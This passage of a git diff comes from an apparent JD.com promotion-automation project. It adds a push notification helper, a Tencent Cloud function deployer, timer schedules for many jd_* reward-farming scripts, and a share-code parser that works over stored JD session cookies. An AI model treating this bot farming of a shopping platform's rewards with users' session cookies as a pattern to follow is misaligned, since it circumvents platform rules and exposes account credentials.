'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN}`, + title: `${text}`, + content:`${desp}`, + topic: `${PUSH_PLUS_USER}` + }; + const options = { + url: `http://www.pushplus.plus/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json' + }, + timeout + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败!!\n`) + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息完成。\n`) + } else { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败:${data.msg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + console.log('您未提供push+推送所需的PUSH_PLUS_TOKEN,取消push+推送消息通知🚫\n'); + resolve() + } + }) +} + +module.exports = { + sendNotify, + BARK_PUSH +} +// prettier-ignore +function Env(t,s){return new class{constructor(t,s){this.name=t,this.data=null,this.dataFile="box.dat",this.logs=[],this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,s),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}getScript(t){return new Promise(s=>{$.get({url:t},(t,e,i)=>s(i))})}runScript(t,s){return new Promise(e=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=s&&s.timeout?s.timeout:o;const[h,a]=i.split("@"),r={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":h,Accept:"*/*"}};$.post(r,(t,s,i)=>e(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s);if(!e&&!i)return{};{const i=e?t:s;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s),o=JSON.stringify(this.data);e?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(s,o):this.fs.writeFileSync(t,o)}}lodash_get(t,s,e){const i=s.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return e;return o}lodash_set(t,s,e){return Object(t)!==t?t:(Array.isArray(s)||(s=s.toString().match(/[^.[\]]+/g)||[]),s.slice(0,-1).reduce((t,e,i)=>Object(t[e])===t[e]?t[e]:t[e]=Math.abs(s[i+1])>>0==+s[i+1]?[]:{},t)[s[s.length-1]]=e,t)}getdata(t){let s=this.getval(t);if(/^@/.test(t)){const[,e,i]=/^@(.*?)\.(.*?)$/.exec(t),o=e?this.getval(e):"";if(o)try{const t=JSON.parse(o);s=t?this.lodash_get(t,i,""):s}catch(t){s=""}}return s}setdata(t,s){let e=!1;if(/^@/.test(s)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(s),h=this.getval(i),a=i?"null"===h?null:h||"{}":"{}";try{const s=JSON.parse(a);this.lodash_set(s,o,t),e=this.setval(JSON.stringify(s),i)}catch(s){const h={};this.lodash_set(h,o,t),e=this.setval(JSON.stringify(h),i)}}else e=$.setval(t,s);return e}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,s){return this.isSurge()||this.isLoon()?$persistentStore.write(t,s):this.isQuanX()?$prefs.setValueForKey(t,s):this.isNode()?(this.data=this.loaddata(),this.data[s]=t,this.writedata(),!0):this.data&&this.data[s]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,s=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?$httpClient.get(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)}):this.isQuanX()?$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,s)=>{try{const e=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(e,null),s.cookieJar=this.ckjar}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)))}post(t,s=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),delete t.headers["Content-Length"],this.isSurge()||this.isLoon())$httpClient.post(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)});else if(this.isQuanX())t.method="POST",$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t));else if(this.isNode()){this.initGotEnv(t);const{url:e,...i}=t;this.got.post(e,i).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t))}}time(t){let s={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in s)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?s[e]:("00"+s[e]).substr((""+s[e]).length)));return t}msg(s=t,e="",i="",o){const h=t=>!t||!this.isLoon()&&this.isSurge()?t:"string"==typeof t?this.isLoon()?t:this.isQuanX()?{"open-url":t}:void 0:"object"==typeof t&&(t["open-url"]||t["media-url"])?this.isLoon()?t["open-url"]:this.isQuanX()?t:void 0:void 0;$.isMute||(this.isSurge()||this.isLoon()?$notification.post(s,e,i,h(o)):this.isQuanX()&&$notify(s,e,i,h(o))),this.logs.push("","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="),this.logs.push(s),e&&this.logs.push(e),i&&this.logs.push(i)}log(...t){t.length>0?this.logs=[...this.logs,...t]:console.log(this.logs.join(this.logSeparator))}logErr(t,s){const e=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();e?$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(s=>setTimeout(s,t))}done(t={}){const s=(new Date).getTime(),e=(s-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,s)} diff --git a/serverless.yml b/serverless.yml new file mode 100644 index 0000000..564954a --- /dev/null +++ b/serverless.yml @@ -0,0 +1,81 @@ +# serverless.yml + +#组件信息 +component: scf # (必选) 组件名称,在该实例中为scf +name: jdscript # (必选) 组件实例名称。 + +#组件参数配置 +inputs: + name: scf-${name} # 云函数名称,默认为 ${name}-${stage}-${app} + enableRoleAuth: true # 默认会尝试创建 SCF_QcsRole 角色,如果不需要配置成 false 即可 + src: ./ + handler: index.main_handler #入口 + runtime: Nodejs12.16 # 运行环境 默认 Nodejs10.15 + region: ap-hongkong # 函数所在区域 + description: This is a function in ${app} application. + memorySize: 128 # 内存大小,单位MB + timeout: 900 # 超时时间,单位秒 + events: #触发器 + - timer: #签到 + parameters: + name: beansign + cronExpression: "0 0 0 * * * *" + enable: true + argument: jd_bean_sign + - timer: #东东超市兑换奖品 #摇京豆 #京东汽车兑换 #家电星推官 #家电星推官好友互助 + parameters: + name: blueCoin_clublottery_carexchange_xtg_xtghelp + cronExpression: "0 0 0 * * * *" + enable: true + argument: jd_blueCoin&jd_club_lottery&jd_car_exchange&jd_xtg&jd_xtg_help + - timer: #东东农场 #东东萌宠 #口袋书店 #京喜农场 #京东极速版签到 #京东家庭号 #金榜创造营 #明星小店 + parameters: + name: fruit_pet_bookshop_jxnc_speedsign_family_goldcreator_starshop + cronExpression: "0 5 6-18/6,8 * * * *" + enable: true + argument: jd_fruit&jd_pet&jd_bookshop&jd_jxnc&jd_speed_sign&jd_family&jd_gold_creator&jd_star_shop + - timer: #宠汪汪喂食 #宠汪汪 #摇钱树 #京东种豆得豆 #京喜工厂 #东东工厂 #东东健康社区收集能量 + parameters: + name: feedPets_joy_moneyTree_plantBean_dreamFactory_jdfactory_healthcollect + cronExpression: "0 3 */1 * * * *" + enable: true + argument: jd_joy_feedPets&jd_joy&jd_moneyTree&jd_plantBean&jd_dreamFactory&jd_jdfactory&jd_health_collect + - timer: #宠汪汪积分兑换京豆 #签到领现金 #点点券 #东东小窝 #京喜财富岛 #京东直播 #东东健康社区 #每日抽奖 #女装魔盒 #跳跳乐 #5G超级盲盒 + parameters: + name: joyreward_cash_necklace_smallhome_cfd_live_health_dailylottery_nzmh_jump_mohe + cronExpression: "0 0 0-16/8,20 * * * *" + enable: true + argument: jd_joy_reward&jd_cash&jd_necklace&jd_small_home&jd_cfd&jd_live&jd_health&jd_daily_lottery&jd_nzmh&jd_jump&jd_mohe + - timer: #京东全民开红包 #进店领豆 #取关京东店铺商品 #京东抽奖机 #京东汽车 #京东秒秒币 + parameters: + name: redPacket_shop_unsubscribe_lotteryMachine_car_ms + cronExpression: "0 10 0 * * * *" + enable: true + argument: jd_redPacket&jd_shop&jd_unsubscribe&jd_lotteryMachine&jd_car&jd_ms + - timer: #天天提鹅 #手机狂欢城 + parameters: + name: dailyegg_carnivalcity + cronExpression: "0 8 */3 * * * *" + enable: true + argument: jd_daily_egg&jd_carnivalcity + - timer: #东东超市 #十元街 #动物联萌 #翻翻乐 + parameters: + name: superMarket_syj_zoo_bigwinner + cronExpression: "0 15 */1 * * * *" + enable: true + argument: jd_superMarket&jd_syj&jd_zoo&jd_big_winner + - timer: #京豆变动通知 #疯狂的joy #监控crazyJoy分红 #京东排行榜 #领京豆额外奖励 #京东保价 #闪购盲盒 #新潮品牌狂欢 #京喜领88元红包 + parameters: + name: beanchange_crazyjoy_crazyjoybonus_rankingList_beanhome_price_sgmh_mcxhd_jxlhb + cronExpression: "0 30 7 * * * *" + enable: true + argument: jd_bean_change&jd_crazy_joy&jd_crazy_joy_bonus&jd_rankingList&jd_bean_home&jd_price&jd_sgmh&jd_mcxhd&jd_jxlhb + - timer: #金融养猪 #京东快递 #京东赚赚 #京东极速版红包 #领金贴 + parameters: + name: pigPet_kd_jdzz_speedredpocke_jintie + cronExpression: "0 3 1 * * * *" + enable: true + argument: jd_pigPet&jd_kd&jd_jdzz&jd_speed_redpocke&jd_jin_tie + environment: # 环境变量 + variables: # 环境变量对象 + AAA: BBB # 不要删除,用来格式化对齐追加的变量的 diff --git a/tencentscf.js b/tencentscf.js new file mode 100644 index 0000000..32a3fb7 --- /dev/null +++ b/tencentscf.js @@ -0,0 +1,189 @@ +// Depends on tencentcloud-sdk-nodejs version 4.0.3 or higher +const tencentcloud = require("tencentcloud-sdk-nodejs"); +const fs = require("fs"); +const yaml = require("js-yaml"); + +process.env.action = 0; +const ScfClient = tencentcloud.scf.v20180416.Client; +const clientConfig = { + credential: { + secretId: process.env.TENCENT_SECRET_ID, + secretKey: process.env.TENCENT_SECRET_KEY + }, + region: process.env.TENCENT_REGION, // 区域参考,https://cloud.tencent.com/document/product/583/17299 + profile: { + httpProfile: { + endpoint: "scf.tencentcloudapi.com" + } + } +}; +const sleep = ms => new Promise(res => setTimeout(res, ms)); + +!(async () => { + const client = new ScfClient(clientConfig); + let params; + await client.ListFunctions({}).then( + async data => { + let func = data.Functions.filter( + vo => vo.FunctionName === process.env.TENCENT_FUNCTION_NAME + ); + const file_buffer = fs.readFileSync("./myfile.zip"); + const contents_in_base64 = file_buffer.toString("base64"); + if (func.length) { + console.log(`更新函数`); + // 更新代码,删除后重建 + params = { + FunctionName: process.env.TENCENT_FUNCTION_NAME + }; + await client.DeleteFunction(params).then( + data => { + console.log(data); + }, + err => { + console.error("error", err); + process.env.action++; + } + ); + await sleep(1000 * 50); // 等待50秒 + } + + console.log(`创建函数`); + let inputYML = ".github/workflows/deploy_tencent_scf.yml"; + let obj = yaml.load(fs.readFileSync(inputYML, { encoding: "utf-8" })); + params = { + Code: { + ZipFile: contents_in_base64 + }, + FunctionName: process.env.TENCENT_FUNCTION_NAME, + Runtime: "Nodejs12.16", + Timeout: 900, + Environment: { + Variables: [] + } + }; + let vars = []; + for (let key in obj.jobs.build.env) { + if (process.env[key].length > 0) { + vars.push(key); + params.Environment.Variables.push({ + Key: key, + Value: process.env[key] + }); + } + } + console.log(`您一共填写了${vars.length}个环境变量`, vars); + await client.CreateFunction(params).then( + data => { + console.log(data); + }, + err => { + console.error("error", err); + process.env.action++; + } + ); + await sleep(1000 * 50); // 等待50秒 + }, + err => { + console.error("error", err); + process.env.action++; + } + ); + + /* console.log(`更新环境变量`); + // 更新环境变量 + let inputYML = ".github/workflows/deploy_tencent_scf.yml"; + let obj = yaml.load(fs.readFileSync(inputYML, { encoding: "utf-8" })); + let vars = []; + for (let key in obj.jobs.build.steps[3].env) { + if (key !== "PATH" && process.env.hasOwnProperty(key)) + vars.push({ + Key: key, + Value: process.env[key] + }); + } + console.log(`您一共填写了${vars.length}个环境变量`); + params = { + FunctionName: process.env.TENCENT_FUNCTION_NAME, + Environment: { + Variables: vars + } + }; + await client.UpdateFunctionConfiguration(params).then( + data => { + console.log(data); + }, + err => { + console.error("error", err); + } + ); + let triggers = []; + params = { + FunctionName: process.env.TENCENT_FUNCTION_NAME + }; + await client.ListTriggers(params).then( + data => { + console.log(data); + triggers = data.Triggers; + }, + err => { + console.error("error", err); + } + ); + for (let vo of triggers) { + params = { + FunctionName: process.env.TENCENT_FUNCTION_NAME, + Type: "timer", + TriggerName: vo.TriggerName + }; + await client.DeleteTrigger(params).then( + data => { + console.log(data); + }, + err => { + console.error("error", err); + } + ); + } */ + + // 更新触发器 + console.log(`去更新触发器`); + let inputYML = "serverless.yml"; + let obj = yaml.load(fs.readFileSync(inputYML, { encoding: "utf-8" })); + for (let vo of obj.inputs.events) { + let param = { + FunctionName: process.env.TENCENT_FUNCTION_NAME, + TriggerName: vo.timer.parameters.name, + Type: "timer", + TriggerDesc: vo.timer.parameters.cronExpression, + CustomArgument: vo.timer.parameters.argument, + Enable: "OPEN" + }; + await client.CreateTrigger(param).then( + data => { + console.log(data); + }, + err => { + console.error("error", err); + process.env.action++; + } + ); + } +})() + .catch(e => console.log(e)) + .finally(async () => { + // 当环境为GitHub action时创建action.js文件判断部署是否进行失败通知 + if (process.env.GITHUB_ACTIONS == "true") { + fs.writeFile( + "action.js", + `var action = ` + process.env.action + `;action > 0 ? require("./sendNotify").sendNotify("云函数部署异常!请重试","点击通知,登入后查看详情",{ url: process.env.GITHUB_SERVER_URL + "/" + process.env.GITHUB_REPOSITORY + "/actions/runs/" + process.env.GITHUB_RUN_ID + "?check_suite_focus=true" }): ""`, + "utf8", + function (error) { + if (error) { + console.log(error); + return false; + } + console.log("写入action.js成功"); + } + ); + } + }); diff --git a/utils/jdShareCodes.js b/utils/jdShareCodes.js new file mode 100644 index 0000000..160f4ce --- /dev/null +++ b/utils/jdShareCodes.js @@ -0,0 +1,72 @@ +// 从日志中获取互助码 + +// process.env.SHARE_CODE_FILE = "/scripts/logs/sharecode.log"; +// process.env.JD_COOKIE = "cookie1&cookie2"; + +exports.JDZZ_SHARECODES = []; +exports.DDFACTORY_SHARECODES = []; +exports.DREAM_FACTORY_SHARE_CODES = []; +exports.PLANT_BEAN_SHARECODES = []; +exports.FRUITSHARECODES = []; +exports.PETSHARECODES = []; +exports.JDJOY_SHARECODES = []; + +let fileContent = ''; +if (process.env.SHARE_CODE_FILE) { + try { + const fs = require('fs'); + if (fs.existsSync(process.env.SHARE_CODE_FILE)) fileContent = fs.readFileSync(process.env.SHARE_CODE_FILE, 'utf8'); + } catch (err) { + console.error(err) + } +} +let lines = fileContent.split('\n'); + +let shareCodesMap = { + "JDZZ_SHARECODES": [], + "DDFACTORY_SHARECODES": [], + "DREAM_FACTORY_SHARE_CODES": [], + "PLANT_BEAN_SHARECODES": [], + "FRUITSHARECODES": [], + "PETSHARECODES": [], + "JDJOY_SHARECODES": [], +}; +for (let i = 0; i < lines.length; i++) { + if (lines[i].includes('京东赚赚')) { + shareCodesMap.JDZZ_SHARECODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('东东工厂')) { + shareCodesMap.DDFACTORY_SHARECODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('京喜工厂')) { + shareCodesMap.DREAM_FACTORY_SHARE_CODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('京东种豆得豆')) { + shareCodesMap.PLANT_BEAN_SHARECODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('东东农场')) { + shareCodesMap.FRUITSHARECODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('东东萌宠')) { + shareCodesMap.PETSHARECODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('crazyJoy')) { + shareCodesMap.JDJOY_SHARECODES.push(lines[i].split('】')[1].trim()); + } +} +for (let key in shareCodesMap) { + shareCodesMap[key] = shareCodesMap[key].reduce((prev, cur) => prev.includes(cur) ? prev : [...prev, cur], []); // 去重 +} +let cookieCount = 0; +if (process.env.JD_COOKIE) { + if (process.env.JD_COOKIE.indexOf('&') > -1) { + cookieCount = process.env.JD_COOKIE.split('&').length; + } else { + cookieCount = process.env.JD_COOKIE.split('\n').length; + } +} + +for (let key in shareCodesMap) { + exports[key] = []; + if (shareCodesMap[key].length === 0) { + continue; + } + for (let i = 0; i < cookieCount; i++) { + exports[key][i] = shareCodesMap[key].sort(() => Math.random() - 0.5).join('@'); + } +} +